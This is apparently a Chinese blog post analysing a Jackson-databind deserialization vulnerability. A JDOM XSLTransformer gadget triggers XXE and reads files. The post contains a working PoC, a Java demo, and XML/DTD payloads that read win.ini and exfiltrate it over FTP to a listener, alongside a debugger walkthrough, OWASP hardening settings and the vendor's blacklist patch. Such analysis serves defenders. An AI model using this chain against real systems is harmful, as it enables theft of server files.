该CVE其实是反序列化XXE导致的任意文件读取漏洞,这里简单复现分析下这条利用链。

0x01 影响版本

Jackson 2.x系列 <2.9.9.1

0x02 限制

需要 JDOM 1.x 或 JDOM 2.x 的依赖支持。

0x03 复现利用

需要的jar:jackson-annotations-2.9.9,jackson-core-2.9.9,jackson-databind-2.9.9,jdom2-2.0.6。

关键PoC:

1
["org.jdom2.transform.XSLTransformer", "http://127.0.0.1/exp.xml"]

完整Demo:

1
2
3
4
5
6
7
8
9
10
11
12
public class PoC {
public static void main(String[] args) {
String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1/exp.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
Object object = mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

接着就是XXE的FTP外带数据的参数实体解析攻击了。

exp.xml:

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/evil.dtd">
%remote;
%send;
]>

evil.dtd:

1
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'ftp://127.0.0.1:21/%file;'>"> %all;

开启Web服务放置exp.xml和evil.dtd,再开启FTP服务进行监听接受数据。

运行,FTP服务端即可接收到目标文件内容:

0x04 调试分析

前面的解析过程和之前分析的反序列化过程几乎是一样的,我们直接在newInstance()新建的实例中看到,调用到XSLTransformer类的构造函数,其中调用了newTemplates()方法来新建模板:

跟进newTemplates()方法,其中调用了XSLTC.compile()方法对输入参数内容进行解析:

跟下去,发现调用parse()函数来解析根节点的抽象语法树:

再跟进去看看,就是调用Parser.parse()解析XML,且调用的setFeature()设置的并不是XXE的有效防御设置,导致XXE漏洞的存在:

再往下,就是调用SAXParser.parse()函数来解析该XML内容了,就是XXE的触发的地方。

值得一提的是,OWASP推荐的防御XXE的setFeature()要设置下面几个值:

1
2
3
4
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

很明显看到,前面漏洞代码中setFeature()设置的并非前面的防御设置,因此并不能防御XXE:

1
public static final String NAMESPACE_FEATURE =    "http://xml.org/sax/features/namespaces";

0x05 补丁分析

Jackson在2.9.9.1版本中添加了该JDOM类的黑名单,具体的可在jackson-databind-2.9.9.1-sources.jar!/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java中看到:

1
2
3
// [databind#2341]: jdom/jdom2 (2.9.9.1)
s.add("org.jdom.transform.XSLTransformer");
s.add("org.jdom2.transform.XSLTransformer");

0x06 参考

Java 反序列化漏洞始末(4)— jackson